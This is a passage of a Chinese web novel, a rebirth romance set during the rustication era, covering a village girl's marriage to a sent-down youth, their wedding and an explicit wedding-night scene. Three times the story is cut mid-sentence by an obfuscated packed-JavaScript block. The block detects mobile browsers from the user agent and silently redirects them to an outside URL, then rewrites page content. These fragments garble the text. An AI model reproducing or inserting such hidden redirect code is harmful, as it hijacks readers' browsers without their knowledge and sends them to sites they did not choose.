余阿舅过来看都没看他们一眼,看着床上放着的两床被子和一兜衣服,就问了一句,“就这些?” 游雾州点头,“我也才来半年,没多少东西。” 余阿舅二话不说,直接将他的东西抱起来,只留了一包衣服。 走到门口的时候,又转过身子,上下打量了那个知青,又看看了游雾州,没说话出去了。 那位知青的脸色顿时有些不好看了。 游雾州快速的拿起东西,安慰着他,“没事,他没说什么就代表没事。” 说完就跟大家告了别,跟了上去。 - 中午吃饭的时候,游雾州看着余阿舅,问他,“叔,下午你有事吗?” 余阿舅将嘴里的菜咽下去,“咋了?” “我想去公社借一下自行车。” “你要进城去?” 游雾州点了点头,“我想着既然要结婚了,去县城跟余银同志去把结婚证办了。” 余银听到这话,“啪”的一声,手里的筷子掉在桌子上。 一旁的余阿娘把掉的筷子递给余银,“都要结婚了,还这么毛毛躁躁地。”又问游雾州,“啥证啊?结婚还要办啥证明?” 游雾州收回余光,解释道:“结婚证证明我和余银结婚是夫妻关系,如果以后回去了也需要这个证明。” 余阿舅知道那玩意是什么,听到他考虑以后回去的计划里有余银,看着游雾州眼神的带了点笑意和欣赏。 余阿娘愣了几秒,似乎没想到,就听到余银拒绝,“不用了吧,太麻烦了。” 她话一落,就收到了余阿舅一记眼神飞刀。 余阿娘即使在反应不过来,见余阿舅的反应也知道那结婚证是个为自己闺女好的,手在桌下伸到余银的胳膊上狠狠拧了一下。 她哈哈笑了笑,说余银,“她高兴傻了。” 余银不满地看了她娘一眼,收获了她娘跟他舅的两记眼神飞刀。 她知道游雾州最会给人灌迷魂汤,这个结婚证肯定也是另有所图,毕竟他从来不做没回报的事。 余银越想越觉得就是如此,可是余阿娘和余阿舅肯定不会相信她说的。 “啪”的一声,将碗筷往桌子上一扔,气呼呼地说:“我吃好了。” 走到的时候,用她那一双没有任何威慑力的鹿眼狠狠瞪着游雾州,但又看着他脸色,怕他小心眼,声音软软的,带着点祈求。 “你跟我过来。” 余阿娘见她这模样嘿了一声,拿着她的筷子在碗上敲了一下,“爱吃不吃,游知青你吃你的,等你吃完再去。” 游雾州看了一眼余阿娘,默默把碗筷往前一推, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376381|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我也吃好了婶子。” 说完就要起来,被余阿娘一把拉着坐下,“吃好什么吃好,饭才刚端上来,不许去,惯的她了。” 余银更气了,心里将游雾州骂了又骂,上辈子间接害死她娘就算了,她娘还这么护着他,对他这么好。 情绪一下就上来了,小姑娘眼眶红红的。 游雾州看着她,立马起身,“我跟你过去。” 余银吸了吸鼻子,这才往外走了出去。 余阿娘看着俩人出去的身影,嘟囔了一句,“这死丫头现下脾气越来越大啊。” 余阿舅叨了一筷子菜,撇了撇嘴,“那不然让小鱼儿给游知青当祖宗供着?” 余阿娘听他这么说也没再说什么了。 余银将游雾州领到她房间,不想让娘他们听到,谁知道走到门口,游雾州停下了脚步。 她转过身,看向游雾州。 他身形挺括,在矮破屋门前,也是天生尊贵的金凤凰,跟她结婚委实亏了。 余银闷闷哼哼地说,“进来啊,你站那干啥呀?” 游雾州微皱了下眉,说的随意:“咱们现在还没结婚,进你房间不太好。” 余银冷笑想说:“亲了,抱了,也看了,现下又不是什么,有什么不好的。” 但她不敢,谁知道这样说了会不会让他心里在生死薄上给自己画上一笔。 余银打了颤,默默别开脸——在哪说都一样,不想进来就不进来吧。 她组织了一下语言,决定还是先问他为什么要去跟她领结婚证。 游雾州扫了她一眼,“你不想去领结婚证吗?” “不、不是。”余银有些心虚,但脑子转的极快,“这样大的事,你咋不跟我商量,就说出来了。” “这是两个人的事,你怎么能替我做了决定啊!”她越说心理的底气越足,“你应该跟我商量的,你什么事都不跟我商量,我什么都不知道,在饭桌上多尴尬啊。” 余银说的理直气也壮,游雾州都差点让她糊弄过去了,没戳穿她,淡淡开口:“余银同志,你现在的想法很危险,不以结婚为目的的恋爱就是耍流氓,咱们现在都要结婚了,你却不想领结婚证。” “余银同志,你是?” 他这话说的,余银要吓死了,忙开口道:“我领,我领!” 游雾州微微挑眉,没说话。 余银在心里骂他,笑着说:“你应该跟我商量的,你不能什么事等你说了我才知道。” 游雾州心里对她明显只想糊弄结婚的想法,有些不赞同。 这姑娘不会隐藏自己的情绪,有什么话,还没说就能在脸上看出来。 他看着余银,眉目显出一层阴翳的寒霜。 游雾州:“好,我知道了,下次不会了。” 余银点点头,试探的问了句,“你真要领证?不怕后悔?” 游雾州:“……” 他嗓音低沉:“不会。” 余银听他到他的回答,撇了撇嘴,颇有些不信的说,“到时候后悔可别说是我逼你的,这可是你自己提的。” “记住了啊。” “……” 游雾州心里有些复杂。 余银哼哼两声,心情很好地从他身边挤过去,反正领证也是给他添麻烦,跟她可以没有关系,他可不能再记恨上了。 春末了,衣服布料也薄薄一层,他没有给她让路,胳膊能感受她的温软和体温。 游雾州漆黑的双眼摄过她的背影,少女的馨香还未散去,垂眸看僵硬了的手臂,喉结微微滚动。 他有些期待和她结婚了。 5. 第 5 章 他们是第二天一早出发去县城的。 路上还没什么人,自行车也不是新的,队里路坑坑洼洼的,余银坐在后面两只手紧紧抓住后座。 游雾州没有骑很快,怕颠着余银,刻意的放缓平稳,但这样很费力,但也庆幸自己以前跟着部队训练过,等到了县城,两人额头上都沁出一层薄汗。 一个是骑车累的,一个是抓着后座累的。 他穿着白色整洁的确良衬衫,碎发有几根贴在额头上,脸上的汗珠顺着他的脖颈往下流,微微滚动喉结带着汗珠,满满的男人味。 余银也没忍住跟着他,空咽了下。 他们到县城快九点了,这时候太阳已经高高挂起,天气本就开始炎热,虽然他身上没什么味道,还有清香的肥皂味,但那身上喷薄而出热气余银都能感知到。 像个大火炉一样烤着她,余韵不动声色地往旁边移了移。 她以为自己的小心思神不知鬼不觉,哪知游雾州一眼就看透了,皱了下眉,直截了当问她,“有味?” “没有。”余银顿了顿,还怕他不相信,补充道:“我有点热,你身上热的跟个火炉一样。” 说完,举起白嫩的小手在他脖子扇着风,“辛苦了,我给你凉快凉快。” 随着她的动作,那若有若无的馨香直往他鼻尖里钻,漆黑的眸光逐渐幽深。 她这几下虽然带了点凉风,但却意外地让他更加燥热了。 游雾州的脸绷着,区别于平时端着笑的模样,几乎少见的情绪。 余银以为自己又哪里惹到他了,撤回了手,讪讪地笑道:“那啥,我就是想着你也热,帮你凉快凉快。” 没有了那股凉风,游雾州体内的燥热缓缓压了下去,但另一股燥意开始蔓延。 - 这个年代的照相馆很简陋,相机也是那种老式的。 两个人站在照相馆门前,余银皱了皱眉,“不是去领证吗,来这干啥?” 游雾州将车子停好,淡淡开口,“照相。” 上辈子余银唯一一次出门就是去找他,没来过县城,更不提照相这回事了。 她只听那个女生提过,说她和游雾州为了结婚照了很多很多相片。 照相这种能保留下自己年轻时的模样,余银应该是高兴的,可她莫名地情绪低落。 这点游雾州是在照相的时候才发现的。 老板带着她们在一处长凳上坐下,甚至没有什么过多的装饰。余银第一次拍照不知道要怎么坐,老板对她招招手:“女同志往男同志身边坐坐,诶,肩膀挨着肩膀,就这样,对对对,来看着我方向,笑一个。” “女同志长得好看,笑起来更好看,来,笑起来嘛。” 余银心不在焉地,扯了一个比哭还难看的笑。 老板见他俩长得好,有了想要把照片挂出来的想法,走过去拍了拍游雾州肩膀,“同志,咱先把你媳妇哄好了再拍照吧,这笑的,照片都不行啊。” 说完,还特意回避了。 游雾州侧头垂睫看着她。 “我不是故意的。”余银咬着唇解释。 游雾州看着她这样子,忍不住好笑,胸腔颤动两下。 “我知道。”他放缓了声音,“是不是太紧张了?没事的。” 余银垂着头,心里乱得很,胡乱的嗯了声。 她不知道那时听到,那个女生和游雾州领结婚证,照相,她为什么那么难过和生气。 那种不甘心和嫉妒的情绪疯狂滋生。 可能就像那个女生说的,那种从他手指头缝里随便露出的好,她就觉得自己不一样了,可游雾州对谁都那样。 只有对那个女生,才是真的不一样的。 在她口中,是她没有见过的游雾州。 余银此刻说不出什么情绪,心里头泛着酸意,想问问他,可他却又不是他。 最后的照片她也不知道是怎么拍的,反正老板满意了。 浑浑噩噩地到了领结婚证的地方,余银站在门口,看到他脸上没有一丝不甘心,忍不住问他,“你真的确定?确定要跟我结婚吗?” “确定要和我领结婚证?你不怕因为结婚以后不好回去?” 游雾州脚步一顿,瞳孔定了下来,“你什么意思?” “可你跟我结婚了,到时候回首都可不好回,你不想读大学了吗,你不会觉得可惜和遗憾吗?”余银问他。 遗憾吗?游雾州自己也不知道他以后会不会遗憾,但他可能会年老的时候觉得遗憾没读大学。 但他敢肯定。 他不会觉得和余银结婚,而感到可以和遗憾。 让他留在农村也没什么不好的,至少余家的人不会坑自己人。 游雾州看着她,笑了起来,“余银,我并不觉得遗憾,我会和你一起把日子过的越来越好的,至少你结婚前什么样,结婚后不能比以前差。” 反而他有点向往了,向往余银家庭带给她的美好,向往和余银组成一个家,向往他们会有可爱的孩子。 这些话,游雾州没说。 余银听的心脏砰砰地,喉间涩然,说不出话来,眼眶红红的。 很感动,上辈子从来没听他这么说话,没有女人能拒绝甜言蜜语,但游雾州的这一番话,比起甜言蜜语和那海誓山盟来,就像龙卷风来的更要猛烈。 将她席卷。 她对游雾州一直有很深的感情,只是这次她会在该放手的时候放手。 就当做她太贪心了吧,贪心他手指头缝里随便露出点的好。 做游雾州的乞求着也没什么不好的。 余银慌乱地低下头掩饰自己的情绪,只是还落了几滴泪在地上,“进去吧。” - 村里人都讲究个彩礼,尤其是因为是余银落水被他救了,两人才决定结婚的事,被村里传的风言风语。 那余家背地里被骂的那叫一个很难听。 游雾州知道,但他在知青点已经说过一遍了,可流言是止不住的,当时盖房子的钱余阿娘没收。 这次从领完证回来后,他拿了些钱给余阿娘,说是盖房子都没收钱,彩礼钱必须收了。他也不清楚杨柳村一般都给多少彩礼,但还要买嫁妆什么的,如果不够再跟他说。 余阿娘看到他还记着彩礼钱的时候很高兴,但一看那么多,连忙摆手拒绝,“我嘞个乖乖啊,游知青你咋给这么多,这我不能要,盖房子才几个钱啊。” 那时的两百块,对于村里人来说是一笔很大的巨卷。余阿娘开心的不行,但还是要推辞一下。 毕竟游雾州给了这么多彩礼,狠狠地打了那些说他女儿没人要,上赶着赖上游雾州。 游雾州将钱塞进她手里,“婶子,外头穿的多难听我知道,这个就当堵她们的嘴了,左右我的钱也都是要交给余银的,您是她亲娘,就收了吧。” 余阿娘拿着钱,叹了口气,“那我先替你们保管着,这钱我也不会动的。” 游雾州笑了笑,“婶子您收了,就是您的,怎么分配,都由您来决定。” 余阿娘被他哄得乐呵呵,“你阿舅搞了点肉,晚上给你炖红烧肉吃,我先去村头找那婶子们唠嗑去。” “去吧,婶子。”游雾州笑道。 - 经过余阿娘这村东头拍拍,村西头唠唠的,这一家家的,谁人不知道那余丫头的彩礼给了两百块。 哎呦呦,给余阿娘存了一肚子气现下全宣泄出去了。 那些原本还诋毁她余家的人,听了彩礼给了那么多,心里那个不带劲啊,还要笑着恭喜。 余阿娘看她们一脸菜色,心里就高兴。 那可是两百块,村里人要攒大半辈子,都不一定能有一百块。 谁能不嫉妒,谁能不羡慕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376382|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>心里头再酸,也只能酸着,说不出什么。 都给了这么多彩礼,谁再说人家是赖上的,那就是睁眼瞎了。 虽然她们觉得这等好事怎么就让余家那丫头给她赶上了,家里有未嫁姑娘的都觉得可惜,牙根儿都痒痒的。 余阿娘是个泼辣的,余阿舅又是大队长,余银舅母桂香又带着孩子在娘家没回来,能让他们阴阳两句的余银,又是个大门不出二门不迈的。 可叫她们嫉妒死了,但真到了结婚那天,也都是高兴祝福的。 余金知道余银要结婚了,要出任务回不来,特意寄了份包裹回来。里面是一条很清新的小碎花布料做成的布拉吉,跟上辈子的一样,余银又高兴又难过。 婚房就在后院那块空地,与余家可以说就在一个院里,马上到农忙了,就没时间没人力,所幸就那两间房,出点钱赶着活来的,在结婚前两天刚好完成。 结婚头一天晚上,余银是和余阿娘睡的,俩人也领了证,她们也没讲究那么多规矩,让游雾州住着余金的屋子。 余韵搂着余阿娘,将头贴在她颈窝蹭了蹭,眼泪啪嗒啪嗒地往下落,“阿娘,我舍不得你。” 余阿娘摸了摸她的脑袋,对于这个女儿她是一万个不放心的,这个女儿的性子不知道随了谁,小性子多的很。 在家里都忍着她哄着她,可现在就要嫁人了,别人不见得会忍让她哄着她。 余阿娘吐了口气,“小鱼儿,嫁人了就要收收你的性了,游知青虽然是个好相处的,但你要一直这样,是个人就会烦的。” 听到这话,余银在黑暗里撇了撇嘴,她是有点爱耍小性子,可是对于喜欢的人,那肯定是憋紧紧的。 “听到没有。”余阿娘不放心的问她。 余银哼哼唧唧应着,搂着她的手更紧了些,余阿娘絮絮叨叨的说着,让她结婚后就成大人了,好好过日子之类的。 就在余阿娘以为她都睡着了,忽然听到了她很轻声的问了句,“阿娘,如果我结婚后过得一点都不幸福怎么办。” 余阿娘笑了笑,“游知青是个能干的,你咋个会过的不好不幸福。” “那万一我们到了过不下去那一天呢?”她问。 余阿娘身子一顿,在余银的背后轻轻拍着,笑道:“真要过不下去了,阿娘就接你回来了回来做阿娘的女儿,阿娘养你一辈子。” “不过我看着游知青的样子,你们是能过一辈子的。” 余银只听到她前面说的,眼泪流的止不住,哽咽的说:“不行,你不能来接我。” “为甚?”余阿娘说:“你过不下去回家来啊,反正老娘能干,养得起你。” 余银摇摇头,闷闷地说,“我知道,但你反正就是别来接我。” “我自己能回去,你别来,你就在家里做好我爱吃的饭,等着我回来。” 怕余阿娘重蹈覆辙上一辈子的事,晃了晃她的身子,“听到没有阿娘,别来接我。” “好好好。”余阿娘应着她的话,“不接你,我在家里等着你,行了吧。” “但你要是受欺负,委屈了,老娘就是爬着也要接你回家的。”余阿娘心里想着。 余银笑了笑,脆生生地说好。 余阿娘像是想到了什么,在她耳边小声的说了什么。 余银的脸瞬间涨红,羞涩的说,“阿娘!” 余阿娘抬手点了一下余银的额头,“阿娘是过来人,你别不听。” 想到游雾州那身板,这丫头肯定是要受些罪的,又不放心的叮嘱她,“你那张嘴惯会哄人,到时候别害羞,哄着他,让他温柔点,慢慢来,不然横冲直撞的去受罪的可是你。” 余银脸蛋红的发烫,想到上辈子那晚的事,腿直打哆嗦。 她点头小声问道:“还有什么要注意的吗?” 余阿娘想了想,凑到她耳边,小声地教导人事。 6. 第 6 章 等到了结婚这天,她换上那条布拉吉,头发简单的盘起来,没有像上辈子一样涂上一层厚厚的粉,还会往下掉渣的那种。 她皮肤本就白嫩,即使什么都不涂也很好看,用红纸在唇上轻轻抹了抹,又觉得脸上没点颜色太寡淡了,手指在红纸上点了点,涂在了粉腮上。 俏生生地,好看极了,倒也像那么回事了。 游雾州则是穿着熨烫妥帖的白色确良衬衫,简简单单地,喊了人,拿出事先准备好的糖分给小朋友和婶子们。 村里好不容易有件喜事,一时间热闹极了。 游雾州走进去,看到这样的余银,眼底划过一丝惊艳,后面跟着进来的人看到余银的时候,纷纷出生夸赞。 “余家头生的真标致啊。” “新娘子还是要这样才好看,那涂的厚厚的粉,脸刷白刷白的,不如余丫头这样,白里透着红,叫人瞧了都欢喜。” “谁给你弄的啊余丫头,改明我家翠翠儿出门,你也给她弄个你这样的。” 不等余银说话,周围其他身子打趣道,“刘芳红,你家翠翠儿今年才十四,你着啥急啊。” 刘芳红笑笑,“这不是见着余丫头太好看了,想要俺家翠翠儿跟她一样似儿的吗。” 余银抿着唇笑,游雾州脸上也带着笑,上前一步,拉着她,将她抱在怀里。 “哎呦呦,新郎官等不及了啊,这是。” “哈哈哈哈哈,瞧给游知青急的,洞房还早着嘞。” 婶子阿婆们的打趣,叫两个人小年轻人闹了个红脸。 怀里的人温香软玉,红透的耳尖和透粉的脖颈联想到婶子们的话,他一时有些心猿意马了。 游雾州抱着她腿的手松了一下,呼吸也有些重,余银惊呼一声,搂着他脖子的手更紧了些。 怕他把自己给摔下去。 这一举动,那些婶子们打趣的更加过分了。 本来是说好了从余阿娘的屋子抱到另一个屋,谁知游雾州将他抱着在外面跑了一圈才进屋。 余银吓了一跳,“你这是干呢?” 游雾州勾着唇笑笑,没说话。 在外面绕了好几家,才抱着她回去了,新房干净整洁,门窗上墙上,还有那茶壶脸盆上,都贴红色的囍字,两个人的照片也贴在了床头上。 游雾州抱着她,将人慢慢地放在床上。 屋子里围了一圈人,还有几个小家伙,闹着要糖吃,虎丫和庆哥是余阿舅的孩子,今天一个八岁,一个人五岁,正是闹腾的年纪,游雾州拿了一把糖,给了几个小家伙。 虎牙拿了糖,笑眯眯地道谢,“谢谢姐夫。” 她的眼睛和余银的很像,澄澈明亮。 游雾州摸了摸虎丫的头,笑的很温柔。 杨柳村妇联的孙婶子拿着个本子进来了,余阿娘她们给她让了条道,站在余银面前。 余银拉着游雾州坐在床上,跟着孙婶子一起念本子的东西。 等念完,外面也放起了鞭炮,差不多也要开席了,屋子里人听到动静也开始散去。 因为游雾州是知青,家里也没有来人,村里人知道这些,也没在意,反正一个村的往上排排那都是一家的。 这时候吃的东西也就那几样,好不好吃全在舍不舍得放调料,甚至余家这次还特意放了肉。 坐在席上的人看到菜,两眼直放光,上来一盘菜就被一抢而光,等到宴席结束,每桌上没一盘的剩菜。 肉是余阿娘亲自排队去买的,她特意放慢了脚程,敢在村里人刚下工的时候,拎肉往村里走。 见了人就说,“哎呦,我都说了简单办办算了,游知青村里都是小鱼儿的家人,非带去排队买了肉让我拿回来,到时候给大家好好吃一顿。” 这一个个都眼馋的说余家找了个好女婿。 余阿娘笑的合不拢嘴,拎着肉一家一家的逛,要不是天热,在外面逛一天下来,肉都要有味了。 她是非要晃到晚上的。 余银和游雾州端着碗敬酒,酒虽是稀罕物,但这边但凡有孩子的,都会在他们成年之后晾一小缸酒,不致于在结婚的时候就连件像样的东西都没有。 不过结婚当天,就那一小缸酒也分不过来,所以里面倒了许多许多水,才能够每人一碗,喝着跟水也差不多,没一点酒味。 每桌都敬一杯,她们再去到余阿娘那桌坐呢吃东西。 余阿娘知道今天的菜没得快,他俩根本都吃不了啥,特意在厨房给他俩留了点,等人都走了,让他俩吃。 余阿娘说今天他俩结婚,一点活都没让她们干,她早有准备,那些碗筷,桌子凳子,她给借东西那些人家,也都留了份肉菜,走的时侯,那些人特意晚了一会走。 端着肉菜,再过来帮着洗洗刷刷,走的时候带着自己的碗筷桌椅带回家了。 当然余银和游雾州也不可能什么都不干,尤其是游雾州,搬桌子,搬椅子,打扫卫生,那是一刻都不得闲。 余银带着虎丫和庆哥儿在扫地,游雾州送完桌子回来,笑着接过她们的扫把,从口袋拿出几颗糖给她们吃。 余银也不客气,接过糖就吃了,她虽然不想干活,但也不敢让游雾州干,吃了糖就要拿回扫把。 游雾州没给她,笑着说,“你去屋里收拾吧。” 屋里没啥可收拾的,就两床被子在那放着,只需要放柜子就行了,余银瞪大了眼睛。 “去吧。”游雾州推了推她后背,拿着扫把开始扫地。 那些婶子们看着他干活的样子,都羡慕的说,“春兰啊,都说一个女婿半个儿,你这女婿看着可比儿子还要能干许多。” “游知青这女婿找的好啊,春兰有福气啊。” “余丫头才有福气呢,瞧,一点活都不让余丫头干。” 余阿娘高兴的很,脸上笑容就没断过,还谦虚的说,“还好,还好。” - 余银以前都是余阿娘给她端的热水洗漱,吃完饭她还和往常一样回房间了,坐了一会没见她阿娘端水过来,才猛然想起来。 她阿娘昨晚说了,她结婚了,不好在随意进她房间,该学会自己的事自己做了。 余银从小板凳上起来,把澡盆拿出来,正准备拿着盆去打水,门口传来脚步声。 木门被推开,游雾州提着热水痛走进来,他看了眼余银,有些不自在地撇开眼,把桶里他调好的水倒入洗澡盆里。 “你试试水温,不够热我再去给你加点热水。” 余银抿着唇,有些不确定的问他,“给我弄的吗?” 游雾州说:“我承诺过你以前在家什么样,咱俩结婚后还是什么样。” 她伸手探了探水温,温度刚好,手指在水里拨出着,低着头说:“谢谢。” 游雾州将门关上,他就站在门口,“我就在门口,等会洗完水我来倒。” 余银说不出现在是什么心情,只觉得心口一些难受,酸酸涩涩的感觉。 她洗完澡,换了身干净的衣服,刚打开门,游雾州二话不说,撸起袖子弯下腰,大步走进屋里,毫不费力地端起那盆洗澡水。 余银咬了咬唇,看着他倒水的背影,当年那样的结果,也怪自己痴心妄想。 他是个很好的人,即使结婚这个人不是她,是其他人,游雾州依旧会这么好。 游雾州把水泼到院子里,将盆放回屋子里靠着,自己也去拿了干净衣服和洗澡盆,见余银还在门口那站着,“你先去上床去,我去打水洗澡。” 余银张了张嘴,默默爬上了床, 很快游雾州就打了水进屋,将门栓上,看到余银面对着墙,心里松了口气。 虽然他结婚了,但是让人看着洗澡,心里还是有些不自在地。 听着哗啦啦的水声,余银的脸有些发热。 游雾州的耳根也红红的,可现在天也热,今天出了一身汗,身上黏腻的难受,很是不舒服。 他习惯洗完澡的时候把衣服洗了,看到余银的衣服在那放着,男人直接卷起她的衣服一起给洗了。 俩人结婚了,也代表是要睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376383|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一张床上的。 旁边人身上传来若有似无的馨香,再怎么说游雾州也是个血气方刚的正常男人,反应很快就上来了。 余银从他躺上来以后,心脏就扑通扑通的跳。 谁先主动开始的余银也迷迷糊糊地也不记得。 属于游雾州的气息铺天盖地袭来。 身下的柔软,他喟叹了一声,鼻息喷洒出来的热气,有着炽热的暧昧。 “小鱼——。” “怎、怎么了。”余银磕磕巴巴地,身子僵硬的不像话。 游雾州让觉得自己有些心跳加速,浑身发麻,还有些口干舌燥。 唇瓣相贴,舌尖缠绕,越来越越热的气息,余银被他扣着脑袋,呜咽着被他大力汲取。 微凉却又炙热的指骨在她腰间游移,每到一处,就能引起她的颤栗。 酥酥麻麻地,余银情难自已的哼咛。 殊不知,这样的反应只会让游雾州似乎更加兴奋,含糊不清地喊着她,“小鱼,小鱼。” 余韵嘴唇被他堵着,心口处的口口被他掐了一下,“唔——” 女孩甜腻的嗓音在黑夜里响起,好听极了,体内那团熊熊烈火,在他的身体四处直蹿,游雾州指尖紧握,微微用力。 能感受到他此刻是在微微紧绷克制着。 余银颤颤巍巍的跟他说,“游雾州,你,你轻点。” “我怕疼。” 说完,她抬起细嫩的手掌说碰着他的脸学着他用舌尖去勾着他,这是她阿娘跟她说的,主动一点,能少受些罪。 游雾州愣了愣,转而回应着她的主动,动作也温柔了许多,揽起她口口小腿挂在他劲瘦的腰间。 虽然两个没什么经验的人唇瓣碾转,但男人在这方面属于天生的无师自通,很快就发现了这其中奥女少。 几个来回,余银已经软到不行,腰下隐隐石各着她的口口,让她想要的更多,那种酥痒的感觉,真的要命。 手掌在他身上胡乱的摸着,想扯开那层禁锢,被他扣着手,哑着嗓音,胸腔处发出闷笑,“小鱼儿这么着急?” 余银本来就自控能力差,被他弄的难受不行。 偏偏他还要装的一本正经,还说她着急!她气的别过脸去。 抿着嘴不让他亲了。 游雾州见她这么模样也不恼,指尖贴着她的唇瓣轻轻摩挲着,“嗯?” “小鱼儿不想要吗?我可是都快要忍不住了呢?” “小鱼儿,说你想要。” “说了,就、给、你。” 低沉的男音,贴着耳朵灌入,沾染着情谷欠的嗓音格外撩拨人,诱惑着她。 余银懵懵地。 “说你想要。” “我想要。” “嗯?” “要你。” “我是谁?” 余银泪眼朦胧扭着身体,嗓音软到不行,带了点哭腔。 “游雾州。” 游雾州的眸色在黑夜里更加幽深,眼尾被逼洇上一片红。 可还要让余银主动开口。 嗓音沙哑:“小鱼儿,这可是你说的。” 情绪彻底的失控,那些悄绕滋生的阴暗情绪,在这一刻得到释放。 游雾州忍不住倒吸了一口凉气,喉结滚动。 余银忍不住弓着身子,想要后退。 男人宽厚的肩膀将她禁锢着,只那微微一下,就感受到其中蕴含的奥妙。 她越哭,男人越兴奋。 余银哭着求他,也没用。 游雾州会在她耳边轻声说。 “不是小鱼儿要的吗。” “小鱼儿又不要了吗。” 余银不堪承受,皎洁的月光下,红梅绽放。那双湿漉漉的眼眸颤了又颤,春色浓郁,但却清晰地只盛下他一人。 男人开了口,只有一次是远远不够的。 可知道这是头一回,有再多的精力也都只能忍下去。 虽然只一次,但他也要将这一次发挥到极致…… 7. 第 7 章 结束后,游雾州手指轻柔抚过她眼角的湿意,余银颤着眼皮晃着头,像是生怕他要再来一次。 游雾州顿了顿,“睡吧。” 说完,最后低下头在发顶上轻轻碰了一下带着自己都没察觉到的小心翼翼。 他没打算要孩子,在最后关头的时侯也是弄在了外面。 锅里留的还有水,他添了几把柴,水温了以后,就端了水进屋去。 游雾州拿着毛巾帮她轻柔的擦拭,尤其是腰下和心口处的米占腻,余银早在他出去后就熟睡了,任由他摆弄着。 帮她弄完后,又给自己擦干净身子,才上床抱着人躺好睡觉。 - 早上天刚蒙蒙亮,上工的喇叭声响起。 “出工了——” 游雾州倏然睁开眼,愣了两秒,怀里的人没有一点反应,外头的集合号子还在响,余银不满地哼唧着。 他低头在怀里的余银头上亲了一下,从床上坐了起来了。 天还没亮,屋子里还有些黑,游雾州拿起床尾放着的衣服,摸着黑穿好下床。 对于他离开迷迷糊糊的,只觉得没有了束缚,翻了个身,往床中间移了移,呈一个大字型睡姿,舒适的很。 游雾州好笑的摇了摇头,也没打算叫她,把门带上,就准备去上工了。 院子里余阿娘,余阿舅,舅母王桂香也正准备出门。 余阿娘问他:“小鱼儿还在睡?咋不叫她起来上工。” 游雾州摸了摸鼻尖,“让她睡觉吧,以后我帮她干就行了。” 余阿娘心里美滋滋,可还是虎着脸说,“今就算了,这丫头偷懒惯了,小游你可不能再惯着她了。” 游雾州含糊的应着,背起箩筐拿着镰刀。 王桂香碰了碰余阿娘的胳膊肘,“姐,你咋真会看人啊,改明虎丫大了,你也给找个游知青这样的。” “那肯定了。”余阿娘说:“我都是当虎丫亲闺女看着的,那肯定是要找个好的。” 她没说找个游雾州这样的,余阿娘可没那么大的本事。 她们也是运气好,刚好就让余银碰上他了。 出门没多久,就各自去做活了。 割猪草的还有几个妇女,来的路上,她们就在打赌待会儿余银来不来上工,还是余阿娘过来的。 毕竟十次有九次都见不到余银做活,都是余阿娘过来把猪草割了。计分员知道,但也睁一只眼闭一只眼当不知道。 可今天没想到,来的人竟然是游雾州。 “呦,游知青咋来割猪草了,你家余银没起来吗?”刘婶子笑的着问。 旁边的几个身子挤眉弄眼的,“余银那身板,平常都起不来,今个肯定更起不来了,哈哈哈哈。” 几个妇女笑的暧昧,见游雾州没应声,窃窃私语闲聊着他,但也一点没避着人。 “好家伙,瞅瞅游知青那身板,嚯,真够有劲的,余家那丫头真有福气。”赵婶子啧啧两声,“昨晚折腾完,今还能这么早起来上工,羡慕人啊。” “是吧,你瞅他那鼻子又大又挺。”李婶子笑嘻嘻地打量着游雾州,“不是我吹,余银那丫头,今绝对是要睡到大中午的,早饭都起不来吃。” 几个人越说越过分,打量他的视线能将他扒光。 游雾州的割猪草的手一顿,听着她们说着荤话,耳根通红,默默离她们远点割。 他手下动作快,找了处地偏草多的地方,没用多少时间,就将身后的背篓装满了。 就在他背着往前走的时候,迎面走来一个认识但不熟悉的女知青。 女知青叫江窈,跟他一个地方的,都是首都的,但他们之间并不熟悉,没见过几次面。 游雾州怕余银真的一觉睡到了中午,他外婆是中医,经常告诉他一天之中早饭最重要了,是必须要吃的。 谁成想江窈直接停在了她面前,伸手拦着她。 “游知青,我想跟你说件事。”江窈咬着唇,表情极为纠结。 “我觉得你必须要知道事情的真相。” 游雾州停下脚步,看着站在他面前的江窈,目光有些不解。 江窈看了一眼游雾州就很快低下头,遮住眼底的复杂情绪。 她知道游雾州对于现在婚姻就是被逼无奈,因为她弄巧成拙,竟然真的让游雾州救了余银,没有办法,才和她结了婚。 那个余银她是清楚的,从小到大就没怎么干过活,还懒得要死,江窈刚来这时很不适应,只能去做割猪草的活,虽然余银三天打鱼两天晒网的,但俩人就是这样认识的。 要不是她有个队长舅舅,江窈才不想搭理她,那余银见游雾州第一面就喜欢上他了,竟然还痴心妄想嫁给他。她还让江窈给她出主意,说她也是知青,肯定有办法让俩人有机会相处。 